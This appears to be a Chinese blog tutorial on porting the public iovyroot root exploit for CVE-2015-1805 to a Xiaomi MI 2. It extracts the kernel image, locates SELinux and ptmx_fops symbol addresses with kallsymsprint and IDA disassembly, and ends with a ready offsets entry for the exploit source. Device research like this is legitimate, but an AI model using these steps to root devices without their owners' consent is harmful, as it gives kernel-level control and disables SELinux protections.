×

CVE-2015-1805 iovyroot 查找绝对内核地址

96
lastingyang
2017.01.06 20:31* 字数 619

CVE-2015-1805 iovyroot find absolute kernel addresses

CVE-2015-1805 iovyroot 查找绝对内核地址

1. 提取zImage

1.1 下载rom,找到boot.img

1.2. 使用unpackbootimg或者其他工具解压boot.img

unpackbootimg -i boot.img  -o out

1.3. out目录下文件如下:

drwxrwxr-x 2 android android    4096 1月   6 17:45 .
drwxrwxr-x 4 android android    4096 1月   6 17:45 ..
-rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-base
-rw-rw-r-- 1 android android      99 1月   6 17:45 boot.img-cmdline
-rw-rw-r-- 1 android android       0 1月   6 17:45 boot.img-dt
-rw-rw-r-- 1 android android       5 1月   6 17:45 boot.img-pagesize
-rw-rw-r-- 1 android android 1969875 1月   6 17:45 boot.img-ramdisk.gz
-rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-ramdisk_offset
-rw-rw-r-- 1 android android       0 1月   6 17:45 boot.img-second
-rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-second_offset
-rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-tags_offset
-rw-rw-r-- 1 android android 6097624 1月   6 17:45 boot.img-zImage

1.4. binwalk boot.img-zImage -e提取被gzip压缩的zImage

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
15851         0x3DEB          gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
binwalk会自动生成一个_boot.img-zImage.extracted目录,里面有个文件名为3DEB的文件,文件名为data的十六进制起始地址

2. 32位rom获取符号的内核地址

 查看iovyroot源码中会知道有个offset结构体,可以看到32位的设备需要获取5个符号的地址
struct offsets {
    char* devname; //ro.product.model
    char* kernelver; // /proc/version
    union {
        void* fsync; //ptmx_fops -> fsync
        void* check_flags; //ptmx_fops -> check_flags
    };  
#if (__LP64__)
    void* joploc; //gadget location, see getroot.c
    void* jopret; //return to setfl after check_flags() (fcntl.c), usually inlined in sys_fcntl
#endif
    void* sidtab; //optional, for selinux contenxt
    void* policydb; //optional, for selinux context
    void* selinux_enabled;
    void* selinux_enforcing;
};
分别为ptmx_fops, sidtab, policydb, selinux_enabled, selinux_enforcing

2.1 使用kallsymsprint可以获取以上5个符号的地址

kallsymsprint.x86是获取32位zImage的工具
kallsymsprint.x64是获取64位zImage的工具

$kallsymsprint.x86 3DEB | grep -E "ptmx_fops|sidtab|policydb|selinux_enabled|selinux_enforcing"
[+]mmap
  mem=f67c0000 length=00d8c18c offset=c9848000
[+]kallsyms_addresses=c08e6030
  count=000135d4
[+]kallsyms_num_syms=000135d4
[+]kallsyms_names=c0933790
[+]kallsyms_markers=c0a1f6b0
[+]kallsyms_token_table=c0a1fb90
[+]kallsyms_token_index=c0a1ff30
[+]kallsyms_lookup_name
...
...
...
//这个地址是小米3的地址,我手里的测试机是小米2s,而小米2s的zImage使用kallsymsprint找不到这几个符号和地址
c0d2a184 selinux_enabled
c0fe9640 selinux_enforcing
c0feb0a0 policydb
c0feb1a4 sidtab
c0fefdd0 ptmx_fops
...
...

2.2 添加offset

把2.1获取的5个符号的地址和model,linux version按格式添加在offsets.c的offsets数组中即可。
在iovyroot根目录运行ndk-build编译即可。

2.3 使用kallsymsprint无法获取到5个符号的地址

上面我们已经讲到有些zImage使用kallsymsprint没法获取我们需要的符号地址,比如我的小米2s,那么怎么办呢?
别着急,祭出我们的大杀器IDA神器+源码引用(小米内核源码的地址见附录)

2.4 IDA加载32位的zImage

Load a New file

使用32位的IDA加载zImage时,Processer Type选择 ARM,勾选Manual load, 点击Ok

Change start address

在ROM start address和Loading address填写0xc0008000,这个是内核.text段的起始地址,通常都为0xc0008000,点击OK等待IDA加载完成。

如果你不确定是不是这个地址, 你可以使用如下命令直接从手机中获取

adb reboot; adb wait-for-device; adb shell dmesg

往上查看dmesg的输出信息可以找到

.text address

2.5 寻找 ptmx_fops 地址

在小米内核源码中搜索,直接在github中搜索的ptmx_fops


ptmx_fops

由上图可以看到ptmx_fops仅在pty.c文件中被引用了两次,随便选一处引用

tty_default_fops(&ptmx_fops);

再次搜索tty_default_fops发现就只有一处调用该函数,那就用这个tty_default_fops函数去找到ptmx_fops吧

$kallsymsprint.x86 3DEB | grep -E "tty_default_fops"

[+]mmap
  mem=f6585000 length=00fd6d84 offset=c9a83000
[+]kallsyms_addresses=c09c7dc0
  count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name

c03fb21c tty_default_fops
//如果使用kallsymsprint也没有找到tty_default_fops的地址,那么就选择其他引用ptmx_fops的函数或全局变量符号

IDA跳转到地址c03fb21c(按g,输入地址,即可跳转到指定地址),把c03fb21c重命名为tty_default_fops(按n, 输入名称,即可修改别名)

IDA查找tty_default_fops的引用(按x,可以找到所有引用该函数的地址),由于从源码知道只有一次引用该函数,就直接跳转到应用tty_default_fops的地方

//根据tty_default_fops源码知道它只有一个参数,有如下汇编代码:
ROM:C0D1F41C                 STMFD           SP!, {R0-R2,R4-R11,LR}
ROM:C0D1F420                 MOV             R0, #0x100000
ROM:C0D1F424                 MOV             R1, #0
ROM:C0D1F428                 LDR             R5, =0xC12D5290
ROM:C0D1F42C                 BL              sub_C03F7CD0
//...此处省略N多代码
ROM:C0D1F588                 ADD             R0, R5, #8
ROM:C0D1F58C                 BL              tty_default_fops
ADD             R0, R5, #8 的意思是R0=R5+8
因为
LDR             R5, =0xC12D5290
可以得到R0 = 0xC12D5290 + 8 = 0xC12D5298

那么就找到了ptmx_fops的地址为0xC12D5298

2.6 寻找 sidtab 地址

源码中搜索sidtab,找到很多处引用,发现在services.c 中有个静态的结构体变量,


sidtab

进入services.c中,找引用sidtab的地方,找啊找啊找朋友~~~,找到一个好朋友

什么是好朋友呢,就是参数越少的函数,引用越少的函数,这种函数方便分析,

sidtab_shutdown
$kallsymsprint.x86 3DEB | grep -E "sidtab_shutdown"
[+]mmap
  mem=f656f000 length=00fd6d84 offset=c9a99000
[+]kallsyms_addresses=c09c7dc0
  count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name
c0345b64 sidtab_shutdown
//IDA中找到如下汇编:
ROM:C034DE54                 LDR             R4, =0xC12BC420
ROM:C034DE58                 ADD             R0, R4, #0x110
ROM:C034DE5C                 BL              sidtab_shutdown

//可以得到R0 = R4 + 0x110 = 0xC12BC420 + 0x110 = 0xC12BC530

sidtab的地址为0xC12BC530

2.7 寻找 policydb 地址

policydb
policydb_read
$ kallsymsprint.x86 3DEB | grep -E "policydb_read"
[+]mmap
  mem=f65d9000 length=00fd6d84 offset=c9a2f000
[+]kallsyms_addresses=c09c7dc0
  count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name
c0348f4c policydb_read
ROM:C034DC58                 STMFD           SP!, {R4-R7,LR}
ROM:C034DC5C                 MOV             R3, #0
ROM:C034DC60                 LDR             R4, =0xC12BC420
//...此处省略一点代码
ROM:C034DC88                 MOV             R0, R4
ROM:C034DC8C                 ADD             R1, SP, #0x260+var_250
ROM:C034DC90                 BL              policydb_read
由policydb_read(&policydb, fp);得到R0为policydb

policydb地址0xC12BC420

2.8 寻找 selinux_enabled 地址

selinux_enabled
$ kallsymsprint.x86 3DEB | grep -E "selinux_is_enabled"
[+]mmap
  mem=f6606000 length=00fd6d84 offset=c9a02000
[+]kallsyms_addresses=c09c7dc0
  count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name
c03445b8 selinux_is_enabled
c0bbfa24 __ksymtab_selinux_is_enabled
c0bc711c __kcrctab_selinux_is_enabled
c0bd1a63 __kstrtab_selinux_is_enabled

ROM:C03445B8 selinux_is_enabled
ROM:C03445B8                 LDR             R3, =dword_C0F5332C
ROM:C03445BC                 LDR             R0, [R3]
ROM:C03445C0                 MOVS            R0, R0
ROM:C03445C4                 MOVNE           R0, #1
ROM:C03445C8                 BX              LR
ROM:C03445C8 ; End of function selinux_is_enabled
由selinux_is_enabled得到selinux_enabled的地址0xC0F5332C

selinux_enabled地址0xC0F5332C

2.9 寻找 selinux_enforcing 地址

selinux_enforcing
selnl_notify_setenforce
$ kallsymsprint.x86 3DEB | grep -E "selnl_notify_setenforce"
[+]mmap
  mem=f659c000 length=00fd6d84 offset=c9a6c000
[+]kallsyms_addresses=c09c7dc0
  count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name
c0343b60 selnl_notify_setenforce

ROM:C0342DB8                 BNE             loc_C0342E68
ROM:C0342DBC                 LDR             R7, =0xC12BA9D0
//...此处省略N多代码
ROM:C0342E40 loc_C0342E40                            ; CODE XREF: ROM:C0342E34�j
ROM:C0342E40                 LDR             R0, [R7]
ROM:C0342E44                 BL              selnl_notify_setenforce
根据汇编代码R0=R7=0xC12BA9D0,得到selinux_enforcing的地址0xC12BA9D0

selinux_enforcing地址0xC12BA9D0

2.10 offset

//Xiaomi MI 2, MIUI 7.2.4.0 Android 5.0.2 LRX22G
{ "MI 2", "Linux version 3.4.0-perf-g9b728b6-00625-ge66671e (builder@qh-miui-ota-bd53) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Mon Mar 7 20:05:25 CST 2016",
{ (void*)FSYNC_OFFSET(0xC12D5298) },
(void*)0xC12BC530, (void*)0xC12BC420, (void*)0xC0F5332C, (void*)0xC12BA9D0 },

2.11 演示结果

aries_iovyroot

3. 64位rom获取符号的内核地址(待续)

A.附录:

iovyroot: https://github.com/dosomder/iovyroot
unpackbootimg: https://github.com/CyanogenMod/android_system_core  文件目录mkbootimg/unpackbootimg,需要自己编译 
解压boot.img的其他工具: https://github.com/jpacg/bootimg
kallsymsprint: https://github.com/fi01/kallsymsprint
小米内核源码: https://github.com/MiCode/Xiaomi_Kernel_OpenSource

B.参考链接

https://github.com/dosomder/iovyroot/issues/1
http://h3ysatan.blogspot.sg/2016/04/iovyroot-cve-2015-1805.html
Android
Web note ad 1